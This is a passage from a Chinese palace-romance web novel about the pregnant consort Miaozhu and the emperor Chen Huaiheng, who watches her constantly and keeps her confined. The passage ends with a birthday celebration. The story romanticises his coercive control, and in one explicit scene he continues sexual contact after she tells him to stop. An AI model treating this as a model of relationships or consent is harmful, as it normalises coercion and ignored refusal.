再又加上妙珠的事,先前如何且不细究,最后一回他绝对就是故意的。 妙珠为了他和他吵那么厉害的架,全是是他从中作梗。 养虎为患的事情,他是不会做的,总之,明里暗里也不再器重于他。 自从那场雪停了之后,早春不知不觉到来,惊蛰一过,天气越发暖和起来,妙珠的身孕快有两月了。 自她肚子里头有了孩子之后,陈怀衡的脾气也收敛了很多,没总再和妙珠作对,妙珠想来仍是有些不痛快,明里暗里总是会暗戳戳讥他几句,陈怀衡也不想叫她生气,她这身子本就瘦弱,到时候再气得厉害了,怕真能气出个好歹出来。 再说,他是要当爹的人了,妙珠也是要当娘的人了,他们该相亲相爱,整天吵算是怎么一回事呢。 但他还是不放心,他怕妙珠现在是和他演戏呢,肚子里面说不准怎么琢磨着些其他的事情,她想些什么反正也从不和他说的,谁知道是不是有没有打什么坏心思。 妙珠不听话,他反倒是没那么疑神疑鬼,妙珠听了话,他的疑心病竟反倒是更厉害了些。 万一妙珠心里头还憋着气,故意把孩子给摔出个好歹可怎么办? 他不在乾清宫的时候就让人盯着她,平日里头在乾清宫的时候就自己盯着她。 然而,好像仅仅是他多心了而已,妙珠没有想要拿孩子出气的意思,虽平日里头还喜欢同他呛声,看着竟是真要安定下来过日子了似的。 紫禁城的天越来越暖,一直到了四月,正值深春,天气晴朗,澄澈清明,在这个四月,妙珠有了身孕的事情天下皆知。 陈怀衡用这个孩子,名正言顺地将妙珠抬到了妃位上。 因着妙珠肚子里头有了孩子,谁也没能对陈怀衡的这个决定做出什么置喙。 宫女又如何?有 龙种那就是不一样的了。 况说,陈怀衡连新政都能推,赐一个妃位而已,谁闲得慌和他去就这件事呛声。 妙珠封了妃,妙珠被赏赐了新宫殿,可她整日整日的,仍旧是一直待在乾清宫里头。 一开始的时候,她也不想要这个孩子。 她一直想的都是如此。 她不想要给陈怀衡生下孩子。 因为她和他注定是要分开的,她到现在也仍旧没有放弃。 只是,陈怀衡盯她盯得实在太狠了,她也看出他对孩子的看重,他甚至还真就因为孩子给她封了妃,若是孩子真没了,他不会放过她不说,往后她也更没机会跑走。 最后,妙珠还是没能狠下心。 孩子不会拌住她的脚步,她又何必下死手,这样过不去,非取了孩子的性命。 入了四月,孩子大约有三个月了,妙珠近些时日开始吐得厉害了,吐得多了,身子不爽利了,脾气竟也越发大了。 而陈怀衡恰相反,他最近能装得很,开始装得和善温柔,好像天底下独他一个大善人似的。 他既乐意装,妙珠也乐意把脾气发他身上,一个不痛快不爽利就开始撒泼。 这日用过午膳之后,她又吐得厉害,刚吃下去的东西又吐了干净。 宫女们收拾干净了这处,陈怀衡给她擦净了嘴,为她递了一盏茶水过去漱口。 漱完口后妙珠又抓着他的手腕喝了几口水下肚,才总算是舒服了些。 她一舒服下来就开始给陈怀衡寻不痛快了。 她喝完了水便把他的手推开,问道:“你不是给我赏了坐宫殿住吗,为什么我还要整日待在乾清宫里头?” 陈怀衡看着自己被她挥开的手,竟也没恼,只笑了一声,他将杯盏放去了一旁的桌上,又道:“你现在这样,一个人我怎么能放心呢,就在乾清宫吧,我得看着才放心。” 他这话听在妙珠耳中却觉阴阳怪气的。 也不知道他是在说些什么,是不放心肚子里头的孩子,还是不放心她? “你有什么好不放心的?”妙珠反问的声音中带了几声质问,“难道你真只叫我一人搬走,不会让人来照顾我?” 她是可以一个人自食其力的,她丁点大的时候就一个人拖着小妹一起照顾娘亲呢,现下不过是有了身孕罢了,她没什么不能照顾自己的。 只是陈怀衡定是要在她身边安插着人。 现下她只是出门走个路散个步罢了,他都非要让一箩筐人跟着,不知道的人以为她是要出门领军北伐去了,走在路上活像是一个傻子。 出去一次叫人瞧一次热闹,久而久之,妙珠便连门也不乐意出了。 陈怀衡道:“别闹了,其他的都答应你,这件事便算了。” 宫殿是必须要赏的,妃都封了,还不赏座宫殿,穷酸不穷酸?叫外人瞧了还以为他苛待她呢,知道了要笑话她的。 殿是可以赏赐,只是,她人还是要住在乾清宫的。 “其他的事情都答应我?”妙珠听到这话便不高兴了,她道:“你又说这样的话。你分明什么都不答应,这不答应,那不答应,还来装什么大方,做什么好人。” 说罢,连理也不理他了,头也不回往里殿走去,一头闷进了榻上。 陈怀衡看着她的背影,抿了抿唇,可也没有追过去。 她要去自己的宫殿?那他呢?他晚上和谁睡?他白日想见她了又怎么办? 不妥协。 这件事情没法妥协。 再说,在这他照看着她,才能放心,若是在其他殿里头,出了什么事他赶也赶不及。 两人谁也没找谁,又过大约一个时辰,刚过未时,底下的宫女就端了点心过来。 妙珠每回用过午膳吐得厉害,半个下午都没挺过呢,肚子大概就饿得慌了,每到这个点,就该吃些点心下去填肚子。 陈怀衡放下手上的政务,拿了糕点就往里殿走去,妙珠躺在榻上,背朝着外边,整个人都蒙在被子里面。 陈怀衡将点心放到了一旁的桌上,上前想将被子扯下来,可妙珠死死拽着被子,不叫他得逞。 只是,她的力气还是太小,没两下被子就给扯松了开来,妙珠毛茸茸的脑袋露了出来。 陈怀衡见她眼睛红了,愣了片刻,而后道:“还哭了啊?” 妙珠瞥开了头,不想同他说话。 果真是倔得跟驴一样。 陈怀衡捏着她的脸转了回来,盯着她的眼道:“有什么好闹的呢,睡在乾清宫和睡在别处有什么差呢。” “怎么就没差了?你便不能给我一些喘息的机会吗?” 喘息的机会? 怎么着?听她这话的意思,合着是和他待一块,她连气都喘不上来了? 妙珠见他脸色阴沉了些,也不想将事情闹这样难看,他对她本就疑心深重,若她不能打消他的疑心,往后谈何的自由? 她换了个说法,问道:“你不腻歪吗?” 每天做什么都待在一处,他没看烦,她已经要看得烦死了。 睁眼是他,闭眼是他。 那张脸生得是俊不错,可再俊的脸这样看早也看寡淡了去,他又总喜欢盯视着她,她一丁点的自由都没了,当真是还不如从前做宫女的时候痛快。 陈怀衡不觉得妙珠口中的话是什么问题,他道:“我不腻。” “我腻!我快腻死了!” 陈怀衡道:“那是你的问题了,妙珠。” 为什么我不腻,你腻了? 为什么呢。 陈怀衡见她这样,竟又去旧事重提,他盯着她那双乌黑的眸,似笑非笑道:“换个人来你就不腻了是吧。” 若是陈怀霖,她是不是又巴不得整日和他待在一处呢。 毕竟从前的时候她忙里偷闲,背着他也要出去和他私会呢。 怎么那个时候就不嫌腻呢? 怎么一到他就又说腻得很呢? 妙珠,为什么呢?【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第五十一章你就疼我好不好? 妙珠见他这幅神情,也知道他是在说谁。 见他又翻旧账,妙珠就更恼,她道:“你又来翻旧账做什么?有意思没意思?孩子我现在也安生养着了,就说这么一句你又想东想西,你这么敏感幹嘛呢。” 敏感? 她好厲害,现在还倒打一耙,她想着别的人在先,倒还成他敏感了? 陳怀衡叫她气笑了,还想再说些什么,结果妙珠给自己说委屈了,说着说着就又哭,她道:“你还说什么都答應我,就这件小事都不肯答應我,你好没劲,你好小气就只是分开一会,又不是不能见了,你非要弄成这样作甚?” 陳怀衡见她哭,也難受。 他哪知道什么喜欢不喜欢,爱不爱的,只是不知道是从什么时候开始,妙珠一哭,他就不舒服,她一哭,他的心也跟着疼。 他时常在想,妙珠是不是给他下蛊了?然后专门用眼泪来逼他妥协。 “哭成这样是折磨谁?”他抱上她,哄道:“行了行了,老哭哭啼啼做些什么,别哭了,應你就是了。” 妙珠脾气越发厲害了,陳怀衡哄人的技术也越发精进了,哄人这事情大概只有一次和无数次,拉下臉来哄过妙珠之后,才发现这也没有什么難的嘛,这不,越发得心應手了。怎么着,就陳怀霖会哄人?他難道还不会吗。 只是早应她不行吗?非把人弄成这样了才肯答应。 怎么这么坏啊。 妙珠气得很,还是抻着不说话。 她的臉哭得红彤彤的,上面都能依稀见得细小绒毛,就跟泛红泛粉的桃子似的,陈怀衡又去吸她的臉。 妙珠推他,道:“不这么恶心行不行。” 陈怀衡道:“谁叫你總不理我。” 见妙珠终于有反应了,他又道:“都答应你了,还哭呢,到时候哭得身子不好了。” 妙珠终于止住了泪,目的达成了也不再继续鬧了。 陈怀衡给她擦眼泪,一邊又将人抱着坐起了身,端了一旁的糕点过来给她,他拿了糕点喂她,一邊道:“过两日吧,殿一直空着,總是要收拾的吧,等收拾好了就过去。” 妙珠闻此也没再说些什么,能搬出就已经很好啦,也不再想些别的了。 过了几天,陈怀衡果然也没再骗她,把人送去了新的“临照殿”,这殿离乾清宫忒近了些,陈怀衡每回上早朝顺路来看她一回都绰绰有余,再说,妙珠是搬走了,可他又不是不长腿,總能自己去寻她,左脚跟着右脚就往她的殿里头去了。到了后来,乾清宫也不爱待了,大多时候都是宿在临照殿里头。 就跟狗皮膏药似的,怎么赶他赶不走。 妙珠恼了和他鬧,陈怀衡是怎么都不肯依她了。搬也让她搬出去了,可他晚上不和她睡,又该睡哪里去?一个人睡?那不行的,他可得让妙珠给他暖床呢。 而自打妙珠成了妃子之后,同裴嬤嬤见起面来便容易多了,想见就见,也再不会有人拦着了。 陈怀衡也乐得用这些小恩小惠收买妙珠的心,只要她现在肯安生过日子,那些无关痛痒的小事他太乐意顺着她了。 他现在已然明白,胁迫可以延续忠诚确实不错,可这招对妙珠来说却是没什么用了,还不如恩威并施来得管用,總之,他决计不再用以前那种法子来对付她了。 相较于胁迫,她好像更吃哄她的这一套。 也是若是不吃,当初又哪里能叫陈怀霖那狗东西迷得晕头转向。 若他哄她,能让她心里头舒畅,而她心里舒畅了,就不同他鬧腾了,那他为什么不哄? 哄两句要钱?哄两句丢面? 屁话。 哄自己的女人,丢什么面。 妙珠有了身孕的事,太后自也知道了,她仍旧是那样,一直都是不大喜欢她,只是,她现在好歹也都有了身孕,她也再对她使不出什么痛快。 陈怀衡不肯立后,现在好不容易立了个妃子,有了孩子,她也该知足些了。身份什么的固然重要,可陈怀衡这人,谁都左右不了他,他既愿意让出身低贱的妙珠生下他的孩子,那也说不得什么了。 有了孩子就够了,都十九了,翻眼就二十了,膝下还没有一个子嗣,哪里说得过去? 日子就这样不知不觉过去,很快又入了盛夏蝉鸣时候,天黑得越来越晚了,妙珠的肚子也越来越大了。 陈怀衡知她身子骨不大**,生怕到时候孩子还没落地她也跟着去了,太医院的人早也成了临照殿的常客,功夫不负有心人啊,只要用心,没有什么养活不好的花,妙珠的肚子是越来越大,可人也瞧着越发康健。 陈怀衡也越瞧越欢喜。 妙珠从原来的瘦弱,叫他养得珠圆玉润,岂不是叫人欢喜? 他看她的心好似真也渐渐安定下来,岂不是叫人欢喜? 这种欢喜莫名的比富国强兵,攻打城池来得还要真切。 让他每日看着妙珠,心脏都砰砰砰地跳。 妙珠自月份大了便不常出门,她每日无事,身子大了之后,陶先生也不再经常来了,哪有人挺着个大肚子还那么刻苦读书啊?差不多得了。 白日无事的时候她就给孩子做做衣裳,她饭做得难吃,可这女红却不错,好歹从小就跟着裴嬷嬷在司衣司里头,针线活什么的对她来说自是不难。 晚间的时候,用过晚膳后,陈怀衡便总和妙珠出门闲逛,成日在殿里头躺着,身子也要叫躺不好了。 七月时节,一直到晚上时候也还是热。 这日,妙珠同陈怀衡在偌大的后宫东走西逛,皇宫很大,走哪算哪,约莫走个小半个时辰也差不多了。 妙珠肚子已经大得明显了,走得久了,都要扶着腰了,额上也都走出汗来了。 陈怀衡见她得受不住了,也不再继续走下去,往宫殿方向回。 从外头散完步回来,妙珠净过身便躺到了床上去,陈怀衡在一旁处理政务,她便靠躺在床上安静看会书。 两人这些时日都是这样过来的,虽一个晚上各自做各自的事情,说不上几句话,可就待在这一处,什么都不用说也就够了。 妙珠甩不掉陈怀衡,她是搬到了旁的宫殿,陈怀衡到头来也跟着一块搬来。 折腾来折腾去,白折腾。 或许真是她作茧自缚的缘故吧。 从前的时候哄人的话跟不要钱似的说了一箩筐,没想到竟都叫他当了真,一时间竟这般难缠,甩也甩不掉。 不过,妙珠也没一开始那般喘不上气了,她渐渐也都习惯这些了,习惯陈怀衡就跟鬼一样阴魂不散、纠缠不休。 妙珠也没再在陈怀衡面前展露过心事了,她可不会再傻傻的把心跟一张白纸在他面前摊开了。 至少,在明面上看来,妙珠瞧着是真放下了。 只是每回在外面散步时,妙珠都恨不得直奔宫门而去,然而,却从来没有一次和陈怀衡提起过,一次次走着,她有时甚至不免感叹,从前不知这宫门竟有如此之远,竟怎么都走不到。 散完步后,妙珠累得慌,困意袭来,这书看着看着就不知不觉睡过去了,书本滑落到枕邊,最后陈怀衡见她睡着了便也熄了灯,上了床。 晚间的时候,妙珠是被热醒的,殿里头分明有着冰鉴,睡前才换过一轮呢,怎么也不该这般热才是,可不该是不该,妙珠就是实实在在地被燥热灼醒。 她在睡梦中感觉整个人都怪得不像话,似乎有什么东西在蹭着她的腿,就像棍子一样。 从梦中醒来,妙珠的意识渐渐回笼,耳廓边响起了陈怀衡低磁的声音。 “妙珠,你醒了啊。” 妙珠侧着身躺着,陈怀衡从她的身后将她环在怀中,蹭着她,弄得妙珠身子都怪异了几分。 自从有了身孕之后妙珠便再没和他行过房事,陈怀衡也并非那般禽兽不如之人,前几个月听了太医叮嘱,老老实实没闹腾过。 或许是她太久没再行过事,竟敏感得不像话,叫他这么胡乱蹭着,又痒又热。 “你幹嘛呢?!” 妙珠开口,却不想一时声音没能挺起来,一时之间塌在了半空中,又娇又媚,喊得陈怀衡耳朵都痒了。 他忍不住喘了两口气,手上也胡乱摸索着,他说:“蹭蹭,你就叫我蹭蹭。” 这叫什么话! 妙珠道:“你别闹了,快别闹了。” 他说不弄也不是哄她,但就蹭这么几下,妙珠也不可遏制出了反应。 她大抵也是被陈怀衡带坏了,在这些事上竟真也这般放。荡,光是这样竟都那么轻易就要溃不成军。 陈怀衡自是察觉到她反应,他轻笑一声,道:“你也舒服是不是?别动,别动,你舒服我也舒服。” 他就说白了,妙珠就是脸皮薄啊。 薄得要命。 男欢女爱,人之常情的事,她这么抗拒做些什么? 不爽? 既舒爽了,还闹什么别扭呀。 即便说妙珠背对着他,并且除了最原始的生理反应之外就再不给任何回应,可陈怀衡还是痛快得很。 妙珠死死咬着唇不吭声,陈怀衡伸手去摸她的嘴,扣开了她咬死的嘴巴,一边又道:“出声啊,别憋着,憋坏了多不好。” 妙珠受不住了,嘴巴给他的手指扣开了声音就再也藏不住了,如他所愿发出了声,不出声还好,一出声陈怀衡也受不了了,最后只能草草结束。 妙珠只觉一阵浪潮袭来,将她席卷地不上不下,还没来得及喘上几口气,就感觉腰窝一烫。 意识到他做了些什么后,妙珠口不择言,连名带姓喊了他的名字:“陈怀衡!” 陈怀衡装傻呢,妙珠喊他大名,他也不恼,嬉皮笑脸,明知故问道:“怎么啦,妙珠,喊我做什么?” 妙珠质问他:“你弄我身上做些什么呢?” 陈怀衡道:“不小心的。” 不小心? 那真是太不小心了一些。 妙珠不说话了,陈怀衡起了身下床,让人端来了水,拿来了布,给她擦身。 殿里头已经点起了灯,躺在床上的妙珠只穿着一身抱腹,妙珠的眼眶红红的,脸也红红的,露出的肌肤也红红的。 “气哭了?”陈怀衡问,“还是舒服哭了?” 妙珠恼得整个人都更红了,看着可亲又可爱,眼看她真要气坏了,陈怀衡也不嘴贱了,忙道:“错了错了,别气了呀,来,我来给你好好擦擦就是了。” 他说就把妙珠扶起了身,擦干净了她背上的粘稠,身下黏糊糊的也擦干净了。 妙珠一直不做声,过了良久,终于吭声了:“你若不痛快,大可以找旁人服侍的, 总这样不好。” 皇帝就一个女人? 可能吗? 想也不可能。 陈怀衡现在一时的做作情深代表不了什么,早也要有别人的,何必弄一副非她不可的样子呢。 若他的心思早被别人散去也行,他现在精力还是太旺盛了,国事都散不了他的神。 陈怀衡微眯了眼,他道:“妙珠,你还帮我来安排上了?” 妙珠也呛他:“谁还能安排你了?” 陈怀衡面上看不出什么表情,只是把巾帕甩到了一旁的水盆中,水盆里头飞溅了一小撮水花,水花们争先恐后从盆中跑出,落在了地面上。 妙珠看出他又是不痛快了,她大半夜被他弄醒,心情也不好得很,也不惯他,直接问:“你以后难道还不立后了吗?难道还不收受其他的女人了吗?我为什么就提不得了?” 装什么装呢。 他总是爱装。 她都跟了他一年多了,躺都快在一起躺了大半年,她还不懂他啊? 他非要装,她干脆就把这些事情抬到明面上来说罢了。 陈怀衡给妙珠这些话问闷住了,不立后了啊? 不立后的话想来也不大现实,这么大个后宫,就妙珠一个人? 不是陈怀衡想女人了,毕竟除了妙珠外,他看谁都是那样,只是,国不可久无储君,宫不可长缺内主,就像国家不能没有皇帝那样,皇后这个位置总也不能永远空着。 可是现在应着妙珠的话说下,那大抵就要顺了她的意,叫她呛个结实。 她现在呛起人来是真厉害,一套一套的,你一张嘴,她马上就给塞个结结实实的大饼进来,被她哽得一句话都说不上来了。 陈怀衡最后只道:“你管我呢?” 妙珠笑:“你瞧瞧,被我说中啦。” 陈怀衡不知是真叫她说中了心事,还是叫她这幅没心没肺的样子恼到,他冷眼道:“我有旁的女人你就这么高兴?就是我太疼你了,你日子过舒坦了,才叫你有恃无恐了。” 妙珠才不听他唬,却也没有存了心想和他作对的意思,和他作对干什么啊?她得忍着先呀,小不忍则乱大谋嘛,她像嗔他:“你这叫什么话?我还想过不舒坦的日子呢,你给我过不?” 夜深人静,三更半夜,就连牛虻草蛭都已入眠,桌旁一盏烛火摇摇晃晃,把妙珠的脸,妙珠的声音照得又柔又软,跟团棉花一样,叫人忍不住去揉。 陈怀衡也切实这样做了。 他摸摸妙珠的脸,手又不老实地伸去摸她的身子,他说:“有没有点追求了?好日子不过,非去作践自己,你就这样过,穿红戴绿的过,不舒坦什么不舒坦,你是孩子的娘,你乖乖的,我还委屈你了?” 陈怀衡天天就想着给她洗脑,逮着个机会就来洗。 妙珠扑到了他的身上,缠着他问:“那你以后不会立皇后了吗?不会了吗?不会了吗?你以后立了皇后还就对我一个人好吗?我没爹的,我从小到大就没爹,你以后有了别的女人以后,会不会也当个半死不活的爹?你会不会对孩子不好?” 陈怀衡一边责怪她忽地乱动,伤到了身子怎么办,一边又给将人稳稳抱好,他道:“你说什么胡话呢?那怎么着,你不想我立后?你不想我要旁的女人?” 妙珠道:“不要不要不要。我乖乖的不惹你生气了,不和你赌气了,你就疼我好不好?你就对我好,就对孩子好,行不行呢?” 哎。 她要不要的,有什么打紧的呢?但她知道,陈怀衡就是想听她说这些呀,就想着让她满脑子都是他,他满脑子都只想着怎么让她听话,嘴上虽然不说,可妙珠心里头都跟明镜似的呢。 人心是最不值得揣测的东西,再说他的心脏成什么样了都。 陈怀衡抱着妙珠,她坐在他的腿上,那实质性的重量将他那颗漂浮不定的心也压稳住了。疑神疑鬼、胡思乱想或许是帝王们厉来的通病,不管年纪大小,总之,到了时候就会发作。 可是现在,听到妙珠说着这些看似胡搅蛮缠的话,他的心反倒越发安宁。 瞧她那一副得志的小人样,抓着他一个劲地说不要有别人,要他对就对她好,就对他们的孩子好。 看看,他就说吧,妙珠有了孩子之后就能安定下来了吧,现下都开始缠着他说这样的话了。 是人总也有些希求,便是如妙珠,即便一开始的时候她一心求死,什么都不要,可是现在,不也是好好的安定下来了吗。 现在都开始说些什么不要让他寻些别人的话,是不是也总算是在意他了? 最开始的时候她胆子小得很,连和他大声说话都不敢,叫他说个两句就吓得啪嗒啪嗒掉眼泪,哪里敢来说这些?现下都敢说这些啦。 陈怀衡总记得以前年少时候读的一些古往君主纪实录,不乏一些祸国妖妃迷惑主君的事,那个时候总觉古怪鄙夷,一个人,怎么会被另外一个人迷了心智呢? 陈怀衡断然是不会落到这种境地的的,只是现在也明白其中龃龉罢了,妙珠的话一圈一圈的,就跟毒蛇一样往他胸口缠,好像他不答应她,下一刻他就该被这毒蛇咬得毒发身亡了。她说不要让他找别人,诶,他就抱着她哄:“我找什么别人啊?怕些什么呢?就疼你一个好不好。” 快骇死人嘞。 这话落在妙珠的耳中真是要骇死人嘞。 人在兴头上真是什么话都敢说了。 陈怀衡这些天待她是真有些不错的,任她闹也哄着,从前那些吓唬她的话也不不再说了,只是,那些砍手砍脚的话是不说了,现在又来说这些话唬她。 妙珠觉得,她在说着谎话哄他,他也在说着谎话哄她,两个人都说谎呢,这些酸不拉几的话在夜深人静的时候随便说说就是了,睡一觉起来,叫那太阳一蒸,就什么都不剩啦。 第52章 第五十二章妙珠心里头想些什么永远不…… 也不知是不是妙珠的错觉,自从那日之后,總觉陳怀衡是没再那么钳着她了,平日里头的时候,跟在她身邊的人好像也没盯她那么紧了。 她是过了好几天才回过味来,原来陳怀衡竟是真将那夜说的话当了真。 他便这么好骗了? 从妙珠有了身孕之后,宁煦也进宫瞧过她几回,自她那回在宫里头落了水之后,就不乐意再进宫,进了宫也没谁好见,陳怀衡她是不乐意再见,而妙珠见一次她就又叹起那桩不高兴的事,这宫里头左右便是来得少了,只是后来,妙珠肚子大了之后,宁煦便来瞧了几回。 宁煦一开始的时候还怕妙珠会想不开,放不下那些事,心里头若是憋着一股气,怕是会自己憋死。可见了以后,才发现她比自己想得开,许是为母则剛的缘故,怀了这个孩子之后,整个人瞧着竟更振作一些了。 后来呀,妙珠的月份越大,肚子也发挺了,连门也不再好出了,每天陪在她身邊的除了陳怀衡外,也没什么人了,便是说閑话也只能和身邊服侍着的几个宫女说,宁煦怕她无聊,入宫也越发频繁。 两人年歲也差不了几歲, 宁煦在妙珠面前也是个热络的性子,一来二去的,竟熟的不能再熟。 转眼又到妙珠十七歲生辰那日,那是九月二十,早已入了秋。 妙珠没把自己的生辰放在心上,生辰的这日就和她以往过了的几千日一样,没什么不寻常的地方。 裴嬷嬷不在身边叮嘱,她便又忘了今日是她的生辰,又忘記了去吃长寿面。 白日里面还是如常的,她没事就坐在院子里头给孩子绣着衣服,春夏秋冬,她都做了一两套,一歲的已经绣完了,现在正做着两岁的呢。 男的女的也不知道,那就绣得中规中矩,男女都能穿。 陈怀衡见她现下白日里头书也不看不读,就爱弄些小孩衣服,也明目张胆嘀咕过她两回,宫里头一大堆的绣娘,她在这当什么小织工呢? 妙珠没理他,仍旧是我行我素,雷打不动。 见她这样,陈怀衡也不说了,左右她閑来没事,做些衣服打发时间也行。 况说,他知道,妙珠这是爱孩子呢,爱她和他的孩子呢。 女人嘛,心總是软些的。 她總是心软了。 从前的那些事,都过去了吧? 应该是都过去了。 这日,陈怀衡下了早朝回临照殿,就见妙珠已经坐在院子里面做衣服了,一边做衣服一边和荣桃说着闲话。 自从她搬来临照殿后,荣桃也跟来了,她年纪不大,可手脚勤快得很,对妙珠的事也上心,平日两人无事就坐一起说些闲话。 陈怀衡见她一大早又开始忙忙碌碌,在她旁边坐下,不由皱眉道:“一天天的,做完一件又一件,谁追在你后面赶啊?” 妙珠眼皮一跳,很快道:“孩子蹿得可快了你知道吗?等他开始长大的时候我再做,那便赶不及了。” “宫里头不是有绣娘吗,你别这么操劳,小心瞎了眼。” “你不许胡说,我眼睛好着呢。”妙珠说着说着,又叹了一口气,“我什么都不会呀,我若是厉害点就好了,能教他好多好多东西,可是,我就是什么都不会,只会做衣服呀,我就做几件衣裳而已” 瞧瞧,这话说的,苦里苦气的,什么叫我若是厉害点就好了,什么叫她什么又都不会了。 还给他唱上戏了。 故意说这些话激他,叫他难受是不是。 陈怀衡终是没再说下去了,再说下去她那张小嘴巴又不道该叭叭叭的吐出些什么话来了。 他让人把奏折搬出来,坐在外头陪着她一起,妙珠也把他当成空气,自顾自和荣桃闲话。 妙珠终是坐不了太久,一个时辰没坐到就起了身,回屋子里头躺着了,陈怀衡也跟着她一块回去了。 陈怀衡好像也并不知今日是她的生辰,一日也没提起这事。 这一日稀疏平常,没什么不对的地方,一直到傍晚的时候,陈怀衡说带她出门散步,妙珠挺着个大肚子不想出门,可陈怀衡非要让人用轿辇抬着他们出门。 “你到底是要带我去哪里呀?”妙珠问他。 “去了不就知道了。” 陈怀衡不知道是在神秘兮兮弄些什么东西,故意装神弄鬼的,还给她眼睛上蒙上了黑布条。 周遭漆黑一片,即便轿辇很稳,可黑暗之中,所有的感官都叫放大了一圈,妙珠什么也看不见,心里头不安得很,只得牢牢地攥着陈怀衡的大掌,掌心都快出汗了。 陈怀衡见她害怕,也不故弄玄虚了,伸手将那布条扯掉了。 如果是以前的话,妙珠此举更合他意呢,他就喜歡看她害怕地往他怀里钻的样子,可是现在,都当爹的人了,能不能成熟一点。 看她漂浮不定的惊慌模样,又有什么好高兴的呢? 她那前半生都已经如此飘摇了,他既说过要待她好,總也别叫她再陷入从前的境地了。 她是孩子娘呢。 她是他女人呢。 他得护着她。 得疼着她。 不要总是吓唬她。 陈怀衡带着她去了午门。 他带着她登上了午门城楼。 妙珠一开始不知道他是想做些什么,费老大劲把她带来这里,是想做些什么? 可她也还没来得及开口,就听得不远处传来一声烟火爆响,她抬头看去。 现下天已经黑透了,烟花一亮,就像是一双手硬生生扯开了那片厚重的黑幕,亮光一点一点侵袭了人世间,一股一股细细的金丝慢慢地遍布夜空,银花四散,如雨点般落下,这场烟花雨并不短暂,妙珠都不知看了多久,眼睛都看酸了。他们站的位置剛刚好,将好将这场漂亮的烟火尽收眼底。 那些烟花倒影在妙珠的瞳孔中,将她的眼睛衬托得越发明亮。 大概是前一年的除夕那回吧,他们两个就在乾清宫的后苑看除夕烟花,那个时候妙珠的眼睛也和现在一样亮。 漂亮得不像话。 “今个儿是什么好日子啊?” 烟花放完了,妙珠终于想起来问他。 陈怀衡忍不住呵笑:“小傻子,自己的生辰自己都不記得啊?” 可笑完以后,心里头又觉一顿苦涩涌上心头。 也是啊,她怎么会記得自己的生辰呢。 日子都难过得要命,生辰又有什么值得特别庆祝的。 陈怀衡觉得自己也莫名开始多愁善感起来了,觉得自己也开始不像自己了,一点事都能叫他觉得心酸。 又或者是,有些事情实在是不能去细想,若是深究,必然是要心酸落泪,饶是再冷情的帝王来了也是这样。 陈怀衡又不是草木顽石,心里面怎么可能没有触动。 都说孕妇多思,有了身孕的分明是妙珠,可整个人变得更加敏感的却好像又是陈怀衡。 他今个儿本是想大开宴席,叫大家都来给妙珠庆生的,可是,妙珠的月份太大了,一下子应付那些,得劳心伤神了,再说,一场烟花,也已经向全天下说尽了一切。 陈怀衡问她:“好不好看?喜歡不喜歡?” 妙珠点头,烟花明明已经散完了,可她的眼睛却也仍旧是亮亮的。 “好看,喜歡!” 她也没别扭,好看就是好看,喜欢就是喜欢。 陈怀衡又得寸进尺问:“就喜欢烟花?其他的呢,其他的不喜欢了?” 妙珠知道他在说些什么,瘪了瘪嘴,道:“说这些,你酸不酸呀。” 陈怀衡哪里肯放过这个机会。 “有什么好酸的,你快说,快些说。” 没辦法,她不说,陈怀衡就一直缠着她,从回去的路上也一直在说,妙珠给他缠得没辦法了,只好如他的愿,来堵他的嘴。 “喜欢你,喜欢陛下,成了吧。” 陈怀衡还得寸进尺呢,“我叫什么呀?总叫陛下多生分,叫叫我名字。” 妙珠瞥他一眼,道:“喜欢阿衡,喜欢阿衡,喜欢阿衡够了不?” 妙珠甜腻腻的嗓音说着“喜欢阿衡”,一下子把陈怀衡的心都喊得乱七八糟。 听到了妙珠的话后,他却莫名地在想,当初为什么不早点对她好点呢? 早点对她一点,后面他们是不是也不用到了那种难堪的地步。 不过,来得及。 他想,知错就改,为时不晚。 他叫她这突如其来的喜欢说得愣住了,好半晌才回过神,嘴角都咧到耳后根去了,待回过神的时候,妙珠已经往殿里头去了。 陈怀衡今日给她生辰准备的东西俨然不只是一场烟花,等到了殿里头的时候,妙珠才发现屋子里头放了一大堆的锦盒。 妙珠进了殿后一时发愣,看到这些东西有些不知所措,一直到身后陈怀衡跟了进来,他见她怔愣,忍不住笑,道:“怎么看傻了?” 妙珠回了神来,看向陈怀衡,问道:“这都是些什么东西啊?” 这么一大堆,大的小的都有,装在盒子里面也瞧不出是些什么东西,粗略看着,约莫有十来个玩样。 陈怀衡道:“你的生辰礼。” 当他是什么小气的人吗,看场烟花就把她打发了。 那不能够。 妙珠道:“这太多了。” 十几个东西,桌子都堆不下了,地上还堆了一些大物件。 “多吗?”陈怀衡自说自话道:“不多吧,这是你十几年的生辰礼,你今年十七,这里拢共十七个盒子,自己去拆了瞧瞧看,都喜不喜欢。” 陈怀衡早早就开始准备这件事了。 妙珠她一定从小到大都没有过过生辰吧。 旁人的生辰到处收礼,她呢?她收到过几回。 那也难怪她对自己的生辰一直都不上心。 生辰和以往的每一日都大差不差,没有喜人的祝福,没有快活的庆祝,更没有什么人记得。 她自己都要记不得。 妙珠要是从小被人捧在手上长大,他还愁什么呀?有什么好愁的呢。 可妙珠就是这样跌跌撞撞的长大,长大后又跌跌撞撞在他这里受了不少的伤。 没办法,想到她遭了那么多苦,他没办法不发愁。 这是人 的本能,心的本能。 疼之,惜之,而后必珍之,重之。 是什么时候开始,一步步地把他变成这样? 是妙珠把他变成这样的。 他自矜自傲,从不屑做这样的事,在黑暗中,没有什么东西能值得他上心,一个灯下黑的地方,什么东西都是黑的,将心托付给谁都荒唐。 可是还是那句话,妙珠不一样啊。 妙珠和别人都不一样。 他看她的眼睛,就好像看到了亮光,抱着她,心也没那么空洞洞了。 她什么都不想要,她就只是想要别人对她好一点而已,就是想要让别人把她当个人而已。 这难道他也做不到吗? 不,他做得到。 他想了整整一个月,竟为她的生辰整整愁了一整月。 一岁的时候她该收什么? 长命锁吧。 两岁的时候呢? 打几块金吊坠吧。 三岁呢? 该穿着虎头鞋虎头帽乱跑才是了,可这送了便不合光景了,又是打成了金子模样送给她。 四岁是不是就能玩鬼工球了? 五岁、六岁、七岁 送礼这事其实也不难,只是人终究是大了,回过头去再送便是棘手了。 妙珠看着眼前的东西,又听到陈怀衡说的那些话,一下子眼睛红得不像话,陈怀衡一直都瞧着她的反应,见她要哭,一把给人搂到了怀里:“怎么不高兴要哭,高兴也要哭的” 就爱掉些眼泪。 妙珠被他抱着,却哭得更厉害了一些,本来还能憋住的眼泪一下子就从眼眶里头滚了出来,登时之间竟嚎啕大哭。 陈怀衡知她心伤,只是将人搂得更紧了一些。 